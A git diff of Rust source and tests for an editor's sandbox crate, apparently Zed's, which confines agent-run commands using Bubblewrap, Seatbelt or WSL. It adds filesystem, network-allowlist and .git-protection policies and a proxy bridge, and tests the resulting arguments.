-        let git_canonical = git_dir.canonicalize().unwrap();
-        let git_str = git_canonical.to_string_lossy().into_owned();
-        // The writable project is bound rw, then the `.git` directory is shadowed
-        // with a tmpfs on top so its real contents can't be read or written.
-        assert!(windows_contains(&args, &["--tmpfs", &git_str]));
-
-        let project_canonical = project.path().canonicalize().unwrap();
-        let project_str = project_canonical.to_string_lossy().into_owned();
-        let tmpfs_index = args
-            .windows(2)
-            .position(|w| w == ["--tmpfs".to_string(), git_str.clone()])
-            .unwrap();
-        let bind_index = args
-            .windows(3)
-            .position(|w| {
-                w == [
-                    "--bind".to_string(),
-                    project_str.clone(),
-                    project_str.clone(),
-                ]
-            })
-            .unwrap();
-        assert!(
-            bind_index < tmpfs_index,
-            "the protected tmpfs must be applied after the writable bind so it wins"
-        );
-    }
-
-    #[test]
-    fn test_build_bwrap_args_masks_protected_file_with_dev_null() {
-        let project = tempfile::tempdir().unwrap();
-        let gitlink = project.path().join(".git");
-        std::fs::write(&gitlink, "gitdir: /elsewhere\n").unwrap();
-
-        let args = build_bwrap_args(
-            &[project.path()],
-            &[gitlink.as_path()],
-            &[],
-            SandboxPermissions::default(),
-            None,
+    fn test_bridge_args_round_trip() {
+        let sandbox_socket_path = "/tmp/zed-sandbox-1234-0.sock";
+        let argv = bridge_argv(
+            "/path/to/zed",
+            vec![
+                BRIDGE_FLAG,
+                sandbox_socket_path,
+                "8080",
+                "--",
+                "/bin/sh",
+                "-c",
+                "echo hi there",
+            ],
         );
 
-        let gitlink_canonical = gitlink.canonicalize().unwrap();
-        let gitlink_str = gitlink_canonical.to_string_lossy().into_owned();
-        assert!(windows_contains(
-            &args,
-            &["--ro-bind", "/dev/null", &gitlink_str]
-        ));
-    }
-
-    #[test]
-    fn test_build_bwrap_args_rebinds_allowed_unix_socket() {
-        let dir = tempfile::tempdir().unwrap();
-        // `build_bwrap_args` only checks that the path exists, so a regular file
-        // stands in for a socket here (binding a real socket under a long temp
-        // path would overflow `sun_path`).
-        let socket = dir.path().join("agent.sock");
-        std::fs::write(&socket, b"").unwrap();
+        let decoded = parse_bridge_args(argv)
+            .expect("should be recognized as bridge invocation")
+            .expect("should decode successfully");
 
-        let args = build_bwrap_args(
-            &[],
-            &[],
-            &[socket.as_path()],
-            SandboxPermissions::default(),
-            None,
+        assert_eq!(decoded.socket_path, PathBuf::from(sandbox_socket_path));
+        assert_eq!(decoded.port, 8080);
+        assert_eq!(decoded.program, OsString::from("/bin/sh"));
+        assert_eq!(
+            decoded.args,
+            vec![OsString::from("-c"), OsString::from("echo hi there")]
         );
-
-        let socket_canonical = socket.canonicalize().unwrap();
-        let socket_str = socket_canonical.to_string_lossy().into_owned();
-        assert!(windows_contains(
-            &args,
-            &["--bind", &socket_str, &socket_str]
-        ));
     }
 
     #[test]
-    fn test_launcher_args_round_trip() {
-        let writable = PathBuf::from("/home/user/project dir");
-        let cwd = PathBuf::from("/home/user/project dir/sub");
-        let program = "/bin/sh".to_string();
-        let args = vec!["-c".to_string(), "echo hi there".to_string()];
+    fn test_wrap_invocation_uses_bridge_for_restricted_network() {
+        let socket = PathBuf::from("/tmp/zed-proxy.sock");
         let permissions = SandboxPermissions {
-            allow_network: false,
+            network: NetworkAccess::LocalhostPort(8080),
             allow_fs_write: false,
         };
-
-        let protected = PathBuf::from("/home/user/project dir/.git");
-        let socket = PathBuf::from("/tmp/ssh agent/sock");
-        let (launcher, launcher_args) = wrap_invocation(
+        let args = build_wrapped_args_for_test(
             "/path/to/zed",
-            Some("zed-sandbox-status-abc"),
             permissions,
-            &[writable.as_path()],
-            &[protected.as_path()],
-            &[socket.as_path()],
-            Some(cwd.as_path()),
-            &program,
-            &args,
+            "/bin/sh",
+            &["-c".to_string(), "echo hi".to_string()],
+            Some(socket.as_path()),
         );
-        assert_eq!(launcher, "/path/to/zed");
-
-        let decoded = parse_launcher_args(launcher_argv(launcher, launcher_args))
-            .expect("should be recognized as a launcher invocation")
-            .expect("should decode successfully");
 
-        assert_eq!(
-            decoded.status_socket.as_deref(),
-            Some("zed-sandbox-status-abc")
-        );
-        assert_eq!(decoded.permissions, permissions);
-        assert_eq!(decoded.cwd.as_deref(), Some(cwd.as_path()));
-        assert_eq!(decoded.writable_dirs, vec![writable]);
-        assert_eq!(decoded.protected_paths, vec![protected]);
-        assert_eq!(decoded.allowed_unix_socket_paths, vec![socket]);
-        assert_eq!(decoded.program, OsString::from(program));
-        assert_eq!(
-            decoded.args,
-            args.into_iter().map(OsString::from).collect::<Vec<_>>()
-        );
+        // The bind destination inside the sandbox and the path handed to the
+        // bridge must be the same unique path.
+        let sandbox_destination = proxy_socket_bind_destination(&args)
+            .expect("restricted run should bind the proxy socket into the sandbox");
+        assert!(sandbox_destination.starts_with(PROXY_SOCKET_SANDBOX_PATH_PREFIX));
+        assert!(windows_contains(
+            &args,
+            &[
+                "/path/to/zed",
+                BRIDGE_FLAG,
+                &sandbox_destination,
+                "8080",
+                "--"
+            ]
+        ));
     }
 
-    #[test]
-    fn test_launcher_args_round_trip_minimal() {
-        let program = "/bin/true".to_string();
-        let permissions = SandboxPermissions {
-            allow_network: true,
-            allow_fs_write: true,
+    fn build_wrapped_args_for_test(
+        bridge_program: &str,
+        permissions: SandboxPermissions,
+        program: &str,
+        program_args: &[String],
+        proxy_socket_path: Option<&Path>,
+    ) -> Vec<String> {
+        let proxy_socket_sandbox_path = match permissions.network {
+            NetworkAccess::LocalhostPort(_) => Some(unique_proxy_socket_sandbox_path()),
+            NetworkAccess::None | NetworkAccess::All => None,
         };
-        let (launcher, launcher_args) = wrap_invocation(
-            "/path/to/zed",
-            None,
-            permissions,
-            &[],
+        let mut bwrap_args = build_bwrap_args_with_proxy_socket_sandbox_path(
             &[],
             &[],
+            permissions,
             None,
-            &program,
-            &[],
+            proxy_socket_path,
+            proxy_socket_sandbox_path.as_deref(),
         );
-
-        let decoded = parse_launcher_args(launcher_argv(launcher, launcher_args))
-            .unwrap()
-            .unwrap();
-
-        assert_eq!(decoded.status_socket, None);
-        assert_eq!(decoded.permissions, permissions);
-        assert_eq!(decoded.cwd, None);
-        assert!(decoded.writable_dirs.is_empty());
-        assert!(decoded.protected_paths.is_empty());
-        assert!(decoded.allowed_unix_socket_paths.is_empty());
-        assert_eq!(decoded.program, OsString::from("/bin/true"));
-        assert!(decoded.args.is_empty());
-    }
-
-    #[test]
-    fn test_parse_launcher_args_ignores_non_launcher_argv() {
-        let raw: Vec<OsString> = ["/path/to/zed", "--foo", "bar"]
-            .into_iter()
-            .map(OsString::from)
-            .collect();
-        assert!(parse_launcher_args(raw).is_none());
-    }
-
-    #[test]
-    fn test_status_channel_round_trip() {
-        // The launcher side (`report_status`) and parent side
-        // (`StatusChannel::recv`) agree over a real abstract socket.
-        let channel = StatusChannel::bind().unwrap();
-        let name = channel.name().to_string();
-        let reader = std::thread::spawn(move || channel.recv(Duration::from_secs(5)));
-        report_status(Some(&name), LauncherStatus::SandboxProbeFailed);
-        assert_eq!(
-            reader.join().unwrap(),
-            Some(LauncherStatus::SandboxProbeFailed)
-        );
-    }
-
-    #[test]
-    fn test_status_channel_times_out_without_report() {
-        let channel = StatusChannel::bind().unwrap();
-        assert_eq!(channel.recv(Duration::from_millis(50)), None);
+        bwrap_args.push("--".to_string());
+        if let NetworkAccess::LocalhostPort(port) = permissions.network {
+            let proxy_socket_sandbox_path =
+                proxy_socket_sandbox_path.expect("restricted network needs a sandbox socket path");
+            bwrap_args.push(bridge_program.to_string());
+            bwrap_args.push(BRIDGE_FLAG.to_string());
+            bwrap_args.push(proxy_socket_sandbox_path.to_string_lossy().into_owned());
+            bwrap_args.push(port.to_string());
+            bwrap_args.push("--".to_string());
+        }
+        bwrap_args.push(program.to_string());
+        bwrap_args.extend(program_args.iter().cloned());
+        bwrap_args
+    }
+
+    /// Returns the in-sandbox destination of the proxy socket `--bind`, if any.
+    fn proxy_socket_bind_destination(args: &[String]) -> Option<String> {
+        args.windows(3).find_map(|window| {
+            if window[0] == "--bind" && window[1] == "/tmp/zed-proxy.sock" {
+                Some(window[2].clone())
+            } else {
+                None
+            }
+        })
     }
 
-    /// Whether `args` contains `needle` as a contiguous run.
-    fn windows_contains(args: &[String], needle: &[&str]) -> bool {
-        args.windows(needle.len())
-            .any(|window| window.iter().zip(needle).all(|(a, b)| a == b))
+    fn windows_contains(haystack: &[String], needle: &[&str]) -> bool {
+        haystack
+            .windows(needle.len())
+            .any(|window| window.iter().map(String::as_str).eq(needle.iter().copied()))
     }
 }
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index 2060d5d1898f41..9979715fd422be 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -1,76 +1,951 @@
-//! Per-OS sandbox integrations for terminal commands run on behalf of the
-//! agent.
+//! Cross-platform sandboxing for commands run on behalf of the agent.
 //!
-//! Each supported operating system has its own module here, gated behind
-//! its `target_os` cfg so callers reach for the right one explicitly and
-//! non-host targets don't carry dead code.
-//!
-//! macOS has an integration ([`macos_seatbelt`]) wrapping Apple's Seatbelt
-//! / `sandbox-exec` framework, and Linux has one ([`linux_bubblewrap`]) built
-//! on Bubblewrap (`bwrap`) for both the filesystem and the network. Windows
-//! routes commands through WSL and runs them under Bubblewrap there (see
-//! [`windows_wsl`]).
+//! The public API is intentionally platform-neutral. Internally, macOS uses
+//! Seatbelt (`sandbox-exec`), Linux uses Bubblewrap (`bwrap`), and Windows uses
+//! Bubblewrap inside WSL. Restricted-network policies are enforced by an
+//! in-process HTTP/HTTPS proxy (the `http_proxy` crate) that this crate
+//! constructs and owns; callers only describe intent via [`SandboxPolicy`].
+
+use std::{
+    collections::HashMap,
+    fmt,
+    path::{Path, PathBuf},
+    process::Output,
+};
+
+use http_proxy::ProxyHandle;
+#[cfg(not(target_os = "windows"))]
+use http_proxy::{Allowlist, HostPattern, ProxyConfig, ProxyEvent, UpstreamProxy};
 
 #[cfg(target_os = "linux")]
-pub mod linux_bubblewrap;
+mod linux_bubblewrap;
 
 #[cfg(target_os = "macos")]
-pub mod macos_seatbelt;
+mod macos_seatbelt;
 
 #[cfg(target_os = "windows")]
-pub mod windows_wsl;
+mod windows_wsl;
 
-/// Marker prefix for [`windows_wsl`] errors that mean the sandboxing
-/// *environment* is unavailable (WSL missing or failing to start, no usable
-/// `bwrap`, the probe/path-resolution protocol breaking down) — as opposed
-/// to per-request errors such as a writable path that doesn't exist, which
-/// never carry this prefix.
-///
-/// The agent matches on this prefix to decide whether a failed sandboxed
-/// command should offer the user the option of turning sandboxing off
-/// (an environment that can't sandbox at all) or simply report the error
-/// back to the model (a fixable bad request). Defined here rather than in
-/// [`windows_wsl`] so non-Windows builds of the agent can still reference
-/// it.
-pub const WSL_SANDBOX_UNAVAILABLE_PREFIX: &str = "Windows sandboxing via WSL is unavailable";
-
-/// Per-command relaxations of the default Bubblewrap (Linux) sandbox.
-///
-/// All-false is the default, fully-sandboxed run. Setting any field
-/// requires user approval before the command is launched.
-///
-/// Network access is a plain on/off toggle here because Bubblewrap can only
-/// enforce it wholesale (an `--unshare-net` namespace, loopback only). macOS
-/// can additionally confine egress to an allowlist via Seatbelt and the
-/// in-process proxy, so it uses its own richer
-/// [`macos_seatbelt::SandboxPermissions`] instead of this type. Windows reuses
-/// this type, mapping it onto Bubblewrap inside WSL. Some baseline operations
-/// remain denied regardless of these flags; the only way to lift those is to
-/// skip the sandbox entirely, which these integrations deliberately don't
-/// expose.
-#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
-pub struct SandboxPermissions {
-    /// Allow network access for the command.
-    pub allow_network: bool,
+#[cfg(target_os = "windows")]
+pub(crate) const WSL_SANDBOX_UNAVAILABLE_PREFIX: &str = "Windows sandboxing via WSL is unavailable";
+
+/// What a command is allowed to do, expressed as intent. This is the entire
+/// public configuration surface; how each policy is enforced (Seatbelt rules,
+/// Bubblewrap flags, a loopback proxy, …) is an implementation detail.
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct SandboxPolicy {
+    pub fs: SandboxFsPolicy,
+    pub network: SandboxNetPolicy,
+    pub git: GitSandboxPolicy,
+}
+
+/// Filesystem policy for a sandboxed command.
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub enum SandboxFsPolicy {
     /// Allow unrestricted filesystem writes.
-    pub allow_fs_write: bool,
+    Unrestricted,
+    /// Reads are allowed everywhere; writes are confined to these directory
+    /// subtrees (and the standard ephemeral locations the platform provides).
+    Restricted { writable_paths: Vec<PathBuf> },
+}
+
+/// Outbound-network policy for a sandboxed command.
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub enum SandboxNetPolicy {
+    /// Allow unrestricted outbound network access.
+    Unrestricted,
+    /// Block all outbound network access.
+    Blocked,
+    /// Allow outbound HTTP(S) only to these hostnames (exact hosts or
+    /// leading-`*.` subdomain wildcards), enforced by an in-process proxy.
+    Restricted { allowed_domains: Vec<String> },
+}
+
+/// Policy for the project's Git directories (`.git`). The agent computes the
+/// directory list because locating it requires Git knowledge the sandbox layer
+/// can't derive itself — a linked worktree's `.git` is a gitlink pointing at a
+/// common dir elsewhere, and discovered repositories can live outside the
+/// project. Both variants carry the same dirs; the variant selects how they're
+/// treated.
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub enum GitSandboxPolicy {
+    /// `.git` contents are protected: read-only on Linux; content reads and
+    /// writes denied on macOS (metadata stays visible either way).
+    Denied { git_dirs: Vec<PathBuf> },
+    /// `.git` contents are writable (these dirs are made writable).
+    Allowed { git_dirs: Vec<PathBuf> },
+}
+
+impl Default for GitSandboxPolicy {
+    /// Git directories protected, none known — the safe default.
+    fn default() -> Self {
+        GitSandboxPolicy::Denied {
+            git_dirs: Vec::new(),
+        }
+    }
+}
+
+impl GitSandboxPolicy {
+    /// The `.git` directories this policy governs, regardless of variant.
+    pub fn git_dirs(&self) -> &[PathBuf] {
+        match self {
+            GitSandboxPolicy::Denied { git_dirs } | GitSandboxPolicy::Allowed { git_dirs } => {
+                git_dirs
+            }
+        }
+    }
+
+    /// Whether `.git` contents are writable.
+    pub fn allows_writes(&self) -> bool {
+        matches!(self, GitSandboxPolicy::Allowed { .. })
+    }
+
+    /// Combine two layers: `Allowed` (more permissive) wins, and the governed
+    /// `.git` directories union.
+    pub fn merge(self, other: GitSandboxPolicy) -> GitSandboxPolicy {
+        let allowed = self.allows_writes() || other.allows_writes();
+        let (GitSandboxPolicy::Denied { mut git_dirs }
+        | GitSandboxPolicy::Allowed { mut git_dirs }) = self;
+        let (GitSandboxPolicy::Denied {
+            git_dirs: other_dirs,
+        }
+        | GitSandboxPolicy::Allowed {
+            git_dirs: other_dirs,
+        }) = other;
+        for path in other_dirs {
+            if !git_dirs.contains(&path) {
+                git_dirs.push(path);
+            }
+        }
+        if allowed {
+            GitSandboxPolicy::Allowed { git_dirs }
+        } else {
+            GitSandboxPolicy::Denied { git_dirs }
+        }
+    }
+}
+
+impl SandboxPolicy {
+    /// Combine two policies into the least-restrictive policy that satisfies
+    /// both (a set union per dimension). Used to layer the user's persistent
+    /// settings, this thread's grants, and a command's request into the single
+    /// policy that is actually enforced.
+    pub fn merge(self, other: SandboxPolicy) -> SandboxPolicy {
+        SandboxPolicy {
+            fs: self.fs.merge(other.fs),
+            network: self.network.merge(other.network),
+            git: self.git.merge(other.git),
+        }
+    }
+
+    /// Replace the Git policy, keeping the fs/network policy. The UI builds the
+    /// fs/network halves from settings/grants (which don't know the project's
+    /// `.git` locations) and then attaches the agent-computed Git policy here.
+    pub fn with_git(mut self, git: GitSandboxPolicy) -> Self {
+        self.git = git;
+        self
+    }
+}
+
+impl SandboxFsPolicy {
+    /// Unrestricted access dominates; otherwise the writable subtrees union.
+    pub fn merge(self, other: SandboxFsPolicy) -> SandboxFsPolicy {
+        match (self, other) {
+            (SandboxFsPolicy::Unrestricted, _) | (_, SandboxFsPolicy::Unrestricted) => {
+                SandboxFsPolicy::Unrestricted
+            }
+            (
+                SandboxFsPolicy::Restricted {
+                    writable_paths: mut a,
+                },
+                SandboxFsPolicy::Restricted { writable_paths: b },
+            ) => {
+                for path in b {
+                    if !a.contains(&path) {
+                        a.push(path);
+                    }
+                }
+                SandboxFsPolicy::Restricted { writable_paths: a }
+            }
+        }
+    }
+}
+
+impl SandboxNetPolicy {
+    /// Unrestricted access dominates and `Blocked` is the identity; otherwise the
+    /// allowed domains union.
+    pub fn merge(self, other: SandboxNetPolicy) -> SandboxNetPolicy {
+        match (self, other) {
+            (SandboxNetPolicy::Unrestricted, _) | (_, SandboxNetPolicy::Unrestricted) => {
+                SandboxNetPolicy::Unrestricted
+            }
+            (SandboxNetPolicy::Blocked, other) | (other, SandboxNetPolicy::Blocked) => other,
+            (
+                SandboxNetPolicy::Restricted {
+                    allowed_domains: mut a,
+                },
+                SandboxNetPolicy::Restricted { allowed_domains: b },
+            ) => {
+                for domain in b {
+                    if !a.contains(&domain) {
+                        a.push(domain);
+                    }
+                }
+                SandboxNetPolicy::Restricted { allowed_domains: a }
+            }
+        }
+    }
+}
+
+/// A command and its execution environment, before sandbox wrapping.
+#[derive(Clone, Debug, Default, Eq, PartialEq)]
+pub struct CommandAndArgs {
+    /// Program to execute.
+    pub program: String,
+    /// Arguments passed to `program`.
+    pub args: Vec<String>,
+    /// Environment variables for the spawned process.
+    pub env: HashMap<String, String>,
+    /// Working directory for the spawned process.
+    pub cwd: Option<PathBuf>,
+}
+
+/// A command transformed to run inside the platform sandbox. Plain data: spawn
+/// it however you like (PTY, `std::process`, …). The resources that must
+/// outlive the spawned process live in the [`Sandbox`] that produced this, not
+/// here — keep the `Sandbox` alive for the command's duration.
+#[derive(Clone, Debug, Default, Eq, PartialEq)]
+pub struct WrappedCommand {
+    pub program: String,
+    pub args: Vec<String>,
+    pub env: HashMap<String, String>,
+    pub cwd: Option<PathBuf>,
+}
+
+/// Errors returned by the sandbox abstraction.
+#[derive(Debug, Clone, Eq, PartialEq)]
+pub enum SandboxError {
+    /// No sandbox implementation is available for this platform.
+    UnsupportedPlatform,
+    /// No usable Bubblewrap executable was found.
+    BwrapNotFound,
+    /// The only Bubblewrap executable found is setuid-root, which is refused.
+    BwrapSetuidRejected,
+    /// Bubblewrap was found but failed to create the sandbox.
+    SandboxProbeFailed,
+    /// The sandbox bridge executable path could not be resolved.
+    BridgeExecutableUnavailable(String),
+    /// Windows sandboxing through WSL is unavailable.
+    WslUnavailable(String),
+    /// The requested sandbox policy is not supported on this platform.
+    UnsupportedPolicy(String),
+    /// The sandbox request is invalid (e.g. a malformed allowed-domain).
+    InvalidRequest(String),
+    /// An I/O error occurred (e.g. spawning the network proxy).
+    Io(String),
+    /// Any other sandbox setup failure.
+    Other(String),
+}
+
+impl fmt::Display for SandboxError {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        match self {
+            SandboxError::UnsupportedPlatform => {
+                write!(formatter, "sandboxing is not supported on this platform")
+            }
+            SandboxError::BwrapNotFound => {
+                write!(formatter, "no usable `bwrap` binary was found on PATH")
+            }
+            SandboxError::BwrapSetuidRejected => write!(
+                formatter,
+                "the only available `bwrap` is setuid-root, which Zed refuses to run"
+            ),
+            SandboxError::SandboxProbeFailed => {
+                write!(
+                    formatter,
+                    "`bwrap` is present but failed to create a sandbox"
+                )
+            }
+            SandboxError::BridgeExecutableUnavailable(message) => write!(
+                formatter,
+                "failed to resolve sandbox bridge executable: {message}"
+            ),
+            SandboxError::WslUnavailable(message) => write!(formatter, "{message}"),
+            SandboxError::UnsupportedPolicy(message) => write!(formatter, "{message}"),
+            SandboxError::InvalidRequest(message) => write!(formatter, "{message}"),
+            SandboxError::Io(message) => write!(formatter, "{message}"),
+            SandboxError::Other(message) => write!(formatter, "{message}"),
+        }
+    }
+}
+
+impl std::error::Error for SandboxError {}
+
+/// Resolved filesystem setup derived from [`SandboxFsPolicy`].
+struct FsSetup {
+    allow_fs_write: bool,
+    writable_paths: Vec<PathBuf>,
 }
 
-/// Handle a possible re-exec of this binary as a sandbox launcher.
+/// Resolved network plan derived from [`SandboxNetPolicy`]. For the restricted
+/// case the allowlist is parsed up front; the proxy itself is spawned lazily on
+/// the first [`Sandbox::wrap`] so its upstream-proxy chaining can read the
+/// command's environment.
+enum NetSetup {
+    Unrestricted,
+    Blocked,
+    // Restricted networking is rejected up front on Windows, so this variant is
+    // never constructed there.
+    #[cfg(not(target_os = "windows"))]
+    Restricted {
+        allowlist: Allowlist,
+    },
+}
+
+/// A live sandbox: it owns the per-policy resources (the network proxy, and on
+/// macOS the temporary Seatbelt policy file) and produces sandboxed command
+/// invocations via [`Sandbox::wrap`] / [`Sandbox::execute`].
 ///
-/// On Linux, the terminal integration sandboxes commands by re-executing
-/// this binary as a launcher (see
-/// [`linux_bubblewrap::run_launcher_if_invoked`]); when that marker is present
-/// this sets up the `bwrap` sandbox and `exec`s the wrapped command, never
-/// returning. On every other platform, and for normal launches, it returns
-/// immediately.
+/// Keep it alive for as long as commands wrapped by it are running; dropping it
+/// tears down the proxy.
+pub struct Sandbox {
+    fs: FsSetup,
+    network: NetSetup,
+    /// The project's `.git` directories and whether they're writable. Enforced
+    /// on macOS/Linux; ignored by the WSL sandbox for now.
+    git: GitSandboxPolicy,
+    /// In-process network proxy for the restricted-network case, spawned on the
+    /// first `wrap`. Dropped on a background thread (the join blocks).
+    proxy: Option<ProxyHandle>,
+    #[cfg(target_os = "macos")]
+    seatbelt_config: Option<macos_seatbelt::SeatbeltConfigFile>,
+}
+
+impl Sandbox {
+    /// Create a sandbox for `policy`, validating it for the current platform.
+    ///
+    /// This does not spawn the network proxy or probe `bwrap`; the proxy is
+    /// created lazily on the first [`Sandbox::wrap`] (so it can chain through an
+    /// upstream proxy named in the command's environment), and `bwrap`
+    /// availability is checked separately via [`Sandbox::can_create`].
+    pub fn new(policy: SandboxPolicy) -> Result<Self, SandboxError> {
+        let fs = match policy.fs {
+            SandboxFsPolicy::Unrestricted => FsSetup {
+                allow_fs_write: true,
+                writable_paths: Vec::new(),
+            },
+            SandboxFsPolicy::Restricted { writable_paths } => FsSetup {
+                allow_fs_write: false,
+                writable_paths,
+            },
+        };
+
+        let network = match policy.network {
+            SandboxNetPolicy::Unrestricted => NetSetup::Unrestricted,
+            SandboxNetPolicy::Blocked => NetSetup::Blocked,
+            SandboxNetPolicy::Restricted { allowed_domains } => {
+                resolve_restricted_network(&allowed_domains)?
+            }
+        };
+
+        Ok(Self {
+            fs,
+            network,
+            git: policy.git,
+            proxy: None,
+            #[cfg(target_os = "macos")]
+            seatbelt_config: None,
+        })
+    }
+
+    /// Check whether the platform sandbox can be created for `policy` without
+    /// actually building a command or spawning the proxy. On Linux this runs a
+    /// brief `bwrap` probe (call it off the main thread).
+    pub fn can_create(policy: &SandboxPolicy, cwd: Option<&Path>) -> Result<(), SandboxError> {
+        #[cfg(target_os = "linux")]
+        {
+            let writable = policy_writable_paths(policy);
+            let writable: Vec<&Path> = writable.iter().map(PathBuf::as_path).collect();
+            let permissions = linux_bubblewrap::SandboxPermissions {
+                network: linux_probe_network(&policy.network),
+                allow_fs_write: matches!(policy.fs, SandboxFsPolicy::Unrestricted),
+            };
+            linux_bubblewrap::check_can_create_sandbox(&writable, permissions, cwd)
+                .map_err(map_linux_status)
+        }
+        #[cfg(target_os = "windows")]
+        {
+            let _ = cwd;
+            if matches!(policy.network, SandboxNetPolicy::Restricted { .. }) {
+                return Err(unsupported_restricted_network_on_windows());
+            }
+            Ok(())
+        }
+        #[cfg(not(any(target_os = "linux", target_os = "windows")))]
+        {
+            let _ = (policy, cwd);
+            Ok(())
+        }
+    }
+
+    /// Transform `command` into the invocation that runs it inside this sandbox.
+    /// The returned [`WrappedCommand`] is plain data; keep `self` alive while it
+    /// runs (it owns the proxy and any per-command policy file).
+    pub async fn wrap(&mut self, command: &CommandAndArgs) -> Result<WrappedCommand, SandboxError> {
+        #[cfg(target_os = "linux")]
+        {
+            self.wrap_linux(command)
+        }
+        #[cfg(target_os = "macos")]
+        {
+            self.wrap_macos(command)
+        }
+        #[cfg(target_os = "windows")]
+        {
+            self.wrap_windows(command).await
+        }
+        #[cfg(not(any(target_os = "linux", target_os = "macos", target_os = "windows")))]
+        {
+            let _ = command;
+            Err(SandboxError::UnsupportedPlatform)
+        }
+    }
+
+    /// Run `command` inside the sandbox to completion and collect its output.
+    /// Convenience for non-interactive callers; interactive callers (PTYs) use
+    /// [`Sandbox::wrap`].
+    #[allow(
+        clippy::disallowed_methods,
+        reason = "this is the blocking convenience API; interactive callers use `wrap`"
+    )]
+    pub async fn execute(&mut self, command: &CommandAndArgs) -> Result<Output, SandboxError> {
+        let wrapped = self.wrap(command).await?;
+        let mut process = std::process::Command::new(&wrapped.program);
+        process.args(&wrapped.args).envs(&wrapped.env);
+        if let Some(cwd) = &wrapped.cwd {
+            process.current_dir(cwd);
+        }
+        process
+            .output()
+            .map_err(|error| SandboxError::Io(error.to_string()))
+    }
+
+    /// Drop this sandbox on the *current* thread, tearing down the network proxy
+    /// inline (its `Drop` joins a listener thread after a loopback wakeup
+    /// connect).
+    ///
+    /// The blanket [`Drop`] impl instead offloads that join to a fresh thread,
+    /// so an accidental drop on a latency-sensitive thread (e.g. the UI thread)
+    /// can never block. Call this only when you are *already* on a background
+    /// thread or executor and want the teardown to finish before the surrounding
+    /// task completes — it avoids spawning a throwaway thread to do work the
+    /// current one can do.
+    pub fn drop_on_current_thread(mut self) {
+        // Drop the proxy here, synchronously, so the `Drop` impl below sees
+        // `None` and doesn't spawn a thread to repeat the work.
+        drop(self.proxy.take());
+    }
+
+    /// Spawn the restricted-network proxy if it isn't running yet, point the
+    /// command env at it, and return its `(port, host socket path)`. Returns
+    /// `None` for non-restricted network policies.
+    #[cfg(not(target_os = "windows"))]
+    fn ensure_restricted_proxy(
+        &mut self,
+        env: &mut HashMap<String, String>,
+    ) -> Result<Option<(u16, Option<PathBuf>)>, SandboxError> {
+        let NetSetup::Restricted { allowlist } = &self.network else {
+            return Ok(None);
+        };
+
+        if self.proxy.is_none() {
+            let upstream = upstream_proxy_from_env(env);
+            let (events_tx, events_rx) = futures::channel::mpsc::unbounded();
+            let config = ProxyConfig {
+                allowlist: allowlist.clone(),
+                upstream,
+                events: events_tx,
+            };
+            #[cfg(target_os = "linux")]
+            let handle = ProxyHandle::spawn_unix_temp(config);
+            #[cfg(not(target_os = "linux"))]
+            let handle = ProxyHandle::spawn(config);
+            let handle = handle.map_err(|error| {
+                SandboxError::Io(format!("failed to start network proxy: {error:#}"))
+            })?;
+            spawn_proxy_event_logger(events_rx);
+            self.proxy = Some(handle);
+        }
+
+        let proxy = self
+            .proxy
+            .as_ref()
+            .expect("proxy was just ensured to be present");
+        let port = proxy.port();
+        apply_proxy_env(env, port);
+        Ok(Some((port, proxy.socket_path().map(PathBuf::from))))
+    }
+
+    /// Split the policy's `.git` directories into (writable, protected) sets for
+    /// the enforcement layers. When the whole filesystem is writable the split
+    /// is empty (Git protection is moot); otherwise `Allowed` git dirs are
+    /// writable and `Denied` git dirs are protected.
+    #[cfg(any(target_os = "macos", target_os = "linux"))]
+    fn git_path_split(&self) -> (Vec<PathBuf>, Vec<PathBuf>) {
+        if self.fs.allow_fs_write {
+            return (Vec::new(), Vec::new());
+        }
+        match &self.git {
+            GitSandboxPolicy::Allowed { git_dirs } => (git_dirs.clone(), Vec::new()),
+            GitSandboxPolicy::Denied { git_dirs } => (Vec::new(), git_dirs.clone()),
+        }
+    }
+
+    #[cfg(target_os = "linux")]
+    fn wrap_linux(&mut self, command: &CommandAndArgs) -> Result<WrappedCommand, SandboxError> {
+        let mut env = command.env.clone();
+        let proxy = self.ensure_restricted_proxy(&mut env)?;
+
+        let network = match &self.network {
+            NetSetup::Unrestricted => linux_bubblewrap::NetworkAccess::All,
+            NetSetup::Blocked => linux_bubblewrap::NetworkAccess::None,
+            NetSetup::Restricted { .. } => linux_bubblewrap::NetworkAccess::LocalhostPort(
+                proxy.as_ref().map(|(port, _)| *port).unwrap_or(0),
+            ),
+        };
+        let proxy_socket_path = proxy.as_ref().and_then(|(_, socket)| socket.clone());
+
+        let permissions = linux_bubblewrap::SandboxPermissions {
+            network,
+            allow_fs_write: self.fs.allow_fs_write,
+        };
+        let (git_writable, git_protected) = self.git_path_split();
+        let mut writable: Vec<&Path> = self
+            .fs
+            .writable_paths
+            .iter()
+            .map(PathBuf::as_path)
+            .collect();
+        writable.extend(git_writable.iter().map(PathBuf::as_path));
+        let protected_git_dirs: Vec<&Path> = git_protected.iter().map(PathBuf::as_path).collect();
+
+        let bridge_program = std::env::current_exe()
+            .map_err(|error| SandboxError::BridgeExecutableUnavailable(error.to_string()))?;
+        let bridge_program = bridge_program.to_str().ok_or_else(|| {
+            SandboxError::BridgeExecutableUnavailable(format!(
+                "current executable path contains invalid UTF-8: {}",
+                bridge_program.display()
+            ))
+        })?;
+
+        let (program, args) = linux_bubblewrap::wrap_invocation(
+            bridge_program,
+            permissions,
+            &writable,
+            &protected_git_dirs,
+            command.cwd.as_deref(),
+            &command.program,
+            &command.args,
+            proxy_socket_path.as_deref(),
+        )
+        .map_err(map_anyhow_error)?;
+
+        Ok(WrappedCommand {
+            program,
+            args,
+            env,
+            cwd: command.cwd.clone(),
+        })
+    }
+
+    #[cfg(target_os = "macos")]
+    fn wrap_macos(&mut self, command: &CommandAndArgs) -> Result<WrappedCommand, SandboxError> {
+        let mut env = command.env.clone();
+        let proxy = self.ensure_restricted_proxy(&mut env)?;
+
+        let network = match &self.network {
+            NetSetup::Unrestricted => macos_seatbelt::NetworkAccess::All,
+            NetSetup::Blocked => macos_seatbelt::NetworkAccess::None,
